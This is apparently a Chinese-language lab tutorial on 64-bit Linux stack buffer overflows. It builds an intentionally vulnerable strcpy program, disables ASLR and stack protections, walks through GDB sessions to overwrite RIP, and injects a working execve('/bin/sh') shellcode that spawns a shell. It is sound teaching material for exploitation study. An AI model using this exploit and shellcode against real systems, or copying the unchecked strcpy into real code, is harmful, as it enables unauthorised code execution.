[TOC]
1. x86和x86_64的区别
缓冲区溢出:大缓冲区向小缓冲区复制,撑爆了小缓冲区,从而覆盖掉了和小缓冲区相邻内存区域的其它数据而引起的内存问题。
第一个主要区别就是内存地址的大小。这没啥可惊奇的: 不过即便内存地址有64位长用户空间也只能使用前47位,要牢记这点因为当你指定一个大于0x00007fffffffffff的地址时会抛出一个异常。那也就意味着0x4141414141414141会抛出异常而0x0000414141414141是安全的。当你在进行模糊测试或编写利用程序的时候我觉得这是个很巧妙的部分。
事实上还有很多其他的不同但是考虑到本文的目的不了解所有的差异也没关系。
2. 漏洞代码片段
//bof.c
#include<stdio.h>
int main(int argc, char **argv) {
char buffer[256];
if(argc != 2) {
exit(0);
}
printf("%p\n", buffer);
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}
做实验首先要注意:
1.关闭ASLR,linux下ASLR是自动开启的,不关闭的话栈地址每次都是随机的(需要管理员权限)
# echo 0 > /proc/sys/kernel/randomize_va_space
2.编译时关闭CANARY,PIE等栈相关保护。
sakura@Kylin:~/文档/overflow$ gcc bof.c -o bof -z execstack -fno-stack-protector -g
3. 触发漏洞
sakura@Kylin:~/文档/overflow$ ./bof $(python -c 'print "A" * 300')
0x7fffffffddb0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
段错误 (核心已转储)
我们用 gdb 调试一下:
sakura@Kylin:~/文档/overflow$ gdb-gef bof
gef➤ disassemble main
Dump of assembler code for function main:
0x00005555555551a9 <+0>: endbr64
0x00005555555551ad <+4>: push rbp
0x00005555555551ae <+5>: mov rbp,rsp
0x00005555555551b1 <+8>: sub rsp,0x110
0x00005555555551b8 <+15>: mov DWORD PTR [rbp-0x104],edi
0x00005555555551be <+21>: mov QWORD PTR [rbp-0x110],rsi
0x00005555555551c5 <+28>: cmp DWORD PTR [rbp-0x104],0x2
0x00005555555551cc <+35>: je 0x5555555551d8 <main+47>
0x00005555555551ce <+37>: mov edi,0x0
0x00005555555551d3 <+42>: call 0x5555555550b0 <exit@plt>
0x00005555555551d8 <+47>: lea rax,[rbp-0x100]
0x00005555555551df <+54>: mov rsi,rax
0x00005555555551e2 <+57>: lea rdi,[rip+0xe1b] # 0x555555556004
0x00005555555551e9 <+64>: mov eax,0x0
0x00005555555551ee <+69>: call 0x5555555550a0 <printf@plt>
0x00005555555551f3 <+74>: mov rax,QWORD PTR [rbp-0x110]
0x00005555555551fa <+81>: add rax,0x8
0x00005555555551fe <+85>: mov rdx,QWORD PTR [rax]
0x0000555555555201 <+88>: lea rax,[rbp-0x100]
0x0000555555555208 <+95>: mov rsi,rdx
0x000055555555520b <+98>: mov rdi,rax
0x000055555555520e <+101>: call 0x555555555080 <strcpy@plt>
0x0000555555555213 <+106>: lea rax,[rbp-0x100]
0x000055555555521a <+113>: mov rdi,rax
0x000055555555521d <+116>: call 0x555555555090 <puts@plt>
0x0000555555555222 <+121>: mov eax,0x0
0x0000555555555227 <+126>: leave
=> 0x0000555555555228 <+127>: ret
End of assembler dump.
gef➤ b strcpy
gef➤ b puts
gef➤ r $(python -c 'print "A" * 300')
Starting program: /home/sakura/文档/overflow/bof $(python -c 'print "A" * 300')
0x7fffffffdd40
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, 0x00007ffff7e3a420 in puts () from /lib/x86_64-linux-gnu/libc.so.6
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffdd40 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbx : 0x0000555555555230 → <__libc_csu_init+0> endbr64
$rcx : 0x0
$rdx : 0x16
$rsp : 0x00007fffffffdd28 → 0x0000555555555222 → <main+121> mov eax, 0x0
$rbp : 0x00007fffffffde40 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$rsi : 0x00007fffffffe3c0 → "AAAAAAAAAAAAAAAAAAAAAA"
$rdi : 0x00007fffffffdd40 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rip : 0x00007ffff7e3a420 → <puts+0> endbr64
$r8 : 0x0
$r9 : 0xf
$r10 : 0x0000555555556006 → 0x00443b031b01000a ("\n"?)
$r11 : 0x246
$r12 : 0x00005555555550c0 → <_start+0> endbr64
$r13 : 0x00007fffffffdf30 → 0x0000000000000002
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdd28│+0x0000: 0x0000555555555222 → <main+121> mov eax, 0x0 ← $rsp
0x00007fffffffdd30│+0x0008: 0x00007fffffffdf38 → 0x00007fffffffe289 → 0x61732f656d6f682f
0x00007fffffffdd38│+0x0010: 0x0000000200000340
0x00007fffffffdd40│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $rax, $rdi
0x00007fffffffdd48│+0x0020: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffdd50│+0x0028: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffdd58│+0x0030: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffdd60│+0x0038: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
─────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7e3a40f <popen+143> jmp 0x7ffff7e3a3e4 <popen+100>
0x7ffff7e3a411 nop WORD PTR cs:[rax+rax*1+0x0]
0x7ffff7e3a41b nop DWORD PTR [rax+rax*1+0x0]
→ 0x7ffff7e3a420 <puts+0> endbr64
0x7ffff7e3a424 <puts+4> push r14
0x7ffff7e3a426 <puts+6> push r13
0x7ffff7e3a428 <puts+8> push r12
0x7ffff7e3a42a <puts+10> mov r12, rdi
0x7ffff7e3a42d <puts+13> push rbp
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "bof", stopped 0x7ffff7e3a420 in puts (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7e3a420 → puts()
[#1] 0x555555555222 → main(argc=0x2, argv=0x7fffffffdf38)
────────────────────────────────────────────────────────────────────────────────
gef➤
我们发现,明明在 strcpy
上也下了断点,可是并未停止,不知道为什么我们 r
后,直接就在 puts
处停止了。过了 strcpy
调用之后你会发现当前缓冲区指针指向 0x00007fffffffdd40
而不是 0x7fffffffddb0
这是gdb的环境变量和其他东西造成的。不过现在我们不关心之后会解决的,继续向下看 si 到 ret
指令:
gef➤ finish
......
gef➤ si
0x0000555555555228 14 }
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0000555555555230 → <__libc_csu_init+0> endbr64
$rcx : 0x00007ffff7ec4077 → 0x5177fffff0003d48 ("H="?)
$rdx : 0x0
$rsp : 0x00007fffffffde48 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$rbp : 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x00005555555592a0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0x00007ffff7fa47e0 → 0x0000000000000000
$rip : 0x0000555555555228 → <main+127> ret
$r8 : 0x12d
$r9 : 0xf
$r10 : 0x0000555555556006 → 0x00443b031b01000a ("\n"?)
$r11 : 0x246
$r12 : 0x00005555555550c0 → <_start+0> endbr64
$r13 : 0x00007fffffffdf30 → 0x0000000000000002
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde48│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ← $rsp
0x00007fffffffde50│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fffffffde58│+0x0010: "AAAAAAAAAAAAAAAAAAAA"
0x00007fffffffde60│+0x0018: "AAAAAAAAAAAA"
0x00007fffffffde68│+0x0020: 0x0000550041414141 ("AAAA"?)
0x00007fffffffde70│+0x0028: 0x0000555555555230 → <__libc_csu_init+0> endbr64
0x00007fffffffde78│+0x0030: 0x395b03b9e69a9ef5
0x00007fffffffde80│+0x0038: 0x00005555555550c0 → <_start+0> endbr64
─────────────────────────────────────────────────────────────── code:x86:64 ────
0x55555555521d <main+116> call 0x555555555090 <puts@plt>
0x555555555222 <main+121> mov eax, 0x0
0x555555555227 <main+126> leave
→ 0x555555555228 <main+127> ret
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────── source:bof.c+14 ────
9 }
10 printf("%p\n", buffer);
11 strcpy(buffer, argv[1]);
12 printf("%s\n", buffer);
13 return 0;
→ 14 }
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "bof", stopped 0x555555555228 in main (), reason: SINGLE STEP
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555555228 → main(argc=0x2, argv=0x7fffffffdf38)
────────────────────────────────────────────────────────────────────────────────
gef➤
当执行 ret
时,rsp ---> 0x4141414141414141
,我们没能控制 RIP
为什么因为我们覆盖了太多位,最大的地址是 0x00007fffffffffff
而我们尝试用 0x4141414141414141
去溢出了。
4. 控制RIP
为了解决这个问题,我们可以用个小一点的缓冲区去溢出这样指向 rsp
的地址就会像 0x0000414141414141
一样了。 通过简单的数学运算就可以很轻松地算出我们缓冲区的大小。我们知道缓冲区开始于 0x00007fffffffdd40
。strcpy 之后 rsp 将指向 0x00007fffffffde48
。
0x00007fffffffde48 - 0x00007fffffffdd40 = 0x108 -> 十进制的264
知道了这些我们可以把溢出载荷修改成这样
"A" * 264 + "B" * 6
rsp指向的地址应该是 0x0000424242424242 ,那样就能控制RIP。
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0000555555555230 → <__libc_csu_init+0> endbr64
$rcx : 0x00007ffff7ec4077 → 0x5177fffff0003d48 ("H="?)
$rdx : 0x0
$rsp : 0x00007fffffffde70 → 0x00007ffff7ffc620 → 0x00050a3600000000
$rbp : 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x00005555555592a0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0x00007ffff7fa47e0 → 0x0000000000000000
$rip : 0x424242424242
$r8 : 0x10f
$r9 : 0xf
$r10 : 0x0000555555556006 → 0x00443b031b01000a ("\n"?)
$r11 : 0x246
$r12 : 0x00005555555550c0 → <_start+0> endbr64
$r13 : 0x00007fffffffdf50 → 0x0000000000000002
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde70│+0x0000: 0x00007ffff7ffc620 → 0x00050a3600000000 ← $rsp
0x00007fffffffde78│+0x0008: 0x00007fffffffdf58 → 0x00007fffffffe2a7 → 0x61732f656d6f682f
0x00007fffffffde80│+0x0010: 0x0000000200000000
0x00007fffffffde88│+0x0018: 0x00005555555551a9 → <main+0> endbr64
0x00007fffffffde90│+0x0020: 0x0000555555555230 → <__libc_csu_init+0> endbr64
0x00007fffffffde98│+0x0028: 0xbdf64f9ef20c1d5a
0x00007fffffffdea0│+0x0030: 0x00005555555550c0 → <_start+0> endbr64
0x00007fffffffdea8│+0x0038: 0x00007fffffffdf50 → 0x0000000000000002
─────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x424242424242
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "bof", stopped 0x424242424242 in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────── trace ────
────────────────────────────────────────────────────────────────────────────────
gef➤
可以看到 $rip : 0x424242424242
,程序流程已经被我们控制了。
5. 跳入用户控制的缓冲区
事实上这部分内容没什么特别的或者新的东西你只需要指向你控制的缓冲区开头,也就是第一个 printf
显示出来的值,在这里是 0x00007fffffffdd40
。通过 gdb
也可以很容易地重新获得这个值你只需在调用 strcpy
之后显示栈。(在上面是我们运行到断点 puts 处)
是时候更新我们的载荷了,新的载荷看起来像这样:
"A" * 264 + "\x7f\xff\xff\xff\xdd\x40"[::-1]
因为是小端结构所以我们需要把内存地址反序。这就是python语句[::-1]所实现的。
确认下我们跳入正确的地址,gdb 调试程序到指令 ret 处:
gef➤ b puts
Breakpoint 1 at 0x1090
gef➤ r $(python -c 'print "A" * 264 + "\x7f\xff\xff\xff\xdd\x40"[::-1]')
......
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0000555555555230 → <__libc_csu_init+0> endbr64
$rcx : 0x00007ffff7ec4077 → 0x5177fffff0003d48 ("H="?)
$rdx : 0x0
$rsp : 0x00007fffffffde68 → 0x00007fffffffdd40 → 0x0000000000000000
$rbp : 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x00005555555592a0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0x00007ffff7fa47e0 → 0x0000000000000000
$rip : 0x0000555555555228 → <main+127> ret
$r8 : 0x10f
$r9 : 0xf
$r10 : 0x0000555555556006 → 0x00443b031b01000a ("\n"?)
$r11 : 0x246
$r12 : 0x00005555555550c0 → <_start+0> endbr64
$r13 : 0x00007fffffffdf50 → 0x0000000000000002
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde68│+0x0000: 0x00007fffffffdd40 → 0x0000000000000000 ← $rsp
0x00007fffffffde70│+0x0008: 0x00007ffff7ffc620 → 0x00050a3600000000
0x00007fffffffde78│+0x0010: 0x00007fffffffdf58 → 0x00007fffffffe2a7 → 0x61732f656d6f682f
0x00007fffffffde80│+0x0018: 0x0000000200000000
0x00007fffffffde88│+0x0020: 0x00005555555551a9 → <main+0> endbr64
0x00007fffffffde90│+0x0028: 0x0000555555555230 → <__libc_csu_init+0> endbr64
0x00007fffffffde98│+0x0030: 0x81a925b6868c83d3
0x00007fffffffdea0│+0x0038: 0x00005555555550c0 → <_start+0> endbr64
─────────────────────────────────────────────────────────────── code:x86:64 ────
0x55555555521d <main+116> call 0x555555555090 <puts@plt>
0x555555555222 <main+121> mov eax, 0x0
0x555555555227 <main+126> leave
→ 0x555555555228 <main+127> ret
↳ 0x7fffffffdd40 add BYTE PTR [rax], al
0x7fffffffdd42 add BYTE PTR [rax], al
0x7fffffffdd44 add BYTE PTR [rax], al
0x7fffffffdd46 add BYTE PTR [rax], al
0x7fffffffdd48 and dl, BYTE PTR [rdx+0x55]
0x7fffffffdd4b push rbp
─────────────────────────────────────────────────────────── source:bof.c+14 ────
9 }
10 printf("%p\n", buffer);
11 strcpy(buffer, argv[1]);
12 printf("%s\n", buffer);
13 return 0;
→ 14 }
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "bof", stopped 0x555555555228 in main (), reason: SINGLE STEP
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555555228 → main(argc=0x2, argv=0x7fffffffdf58)
────────────────────────────────────────────────────────────────────────────────
gef➤
我们可以看到,此时的栈顶 (rsp
) 为 0x00007fffffffdd40
,ret
执行后 rip
就将跳转到 0x00007fffffffdd40
处执行。
6. 执行shellcode
在这个例子中我准备用个定制的shellcode去打开 shell 。
global _start
section .text
_start:
; execve("/bin/sh", ["/bin/sh"], NULL)
; rax = 0x3b, rdx= NULL, rdi = '//bin/sh', rsi = '//bin/sh'
xor rdx, rdx
mov qword rbx, '//bin/sh' ; 0x68732f6e69622f2f
shr rbx, 0x8
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
接下来汇编这个文件然后提取shellcode。
sakura@Kylin:~/文档/overflow$ touch shell.asm
sakura@Kylin:~/文档/overflow$ nasm -f elf64 shell.asm
sakura@Kylin:~/文档/overflow$ ld -m elf_x86_64 shell.o -o shell
sakura@Kylin:~/文档/overflow$ ./shell
$ exit
sakura@Kylin:~/文档/overflow$ for i in $(objdump -d shell.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05
sakura@Kylin:~/文档/overflow$
这个 shellcode 长 30 字节,来构造最终的载荷吧。
原来的载荷
$(python -c 'print "A" * 264 + "\x7f\xff\xff\xff\xdd\x40"[::-1]')
我们要保证一样的大小所以264 - 30 = 234
$(python -c 'print "A" * 234 + "\x7f\xff\xff\xff\xdd\x40"[::-1]')
然后把 shellcode 接在开头:
$(python -c 'print "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" + "A" * 234 + "\x7f\xff\xff\xff\xdd\x40"[::-1]')
来把所有东西一块儿测试:
$ gdb-gef bof
gef➤ run $(python -c 'print "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" + "A" * 234 + "\x7f\xff\xff\xff\xdd\x40"[::-1]')
Starting program: /home/sakura/文档/overflow/bof $(python -c 'print "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" + "A" * 234 + "\x7f\xff\xff\xff\xdd\x40"[::-1]')
Failed to find objfile or not a valid file format: [Errno 2] 没有那个文件或目录: 'system-supplied DSO at 0x7ffff7fcd000'
0x7fffffffdd40
H1�H�//bin/shH�SH��PWH��;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`����
process 4893 is executing new program: /usr/bin/dash
$
出现了 $ 就显示我们执行成功了。要注意内存地址是可以变化的这样可能就和我这里的不同了。
参考:
64 Bits Linux Stack Based Buffer Overflow --- 英文原文
64位Linux下的栈溢出 --- 中文翻译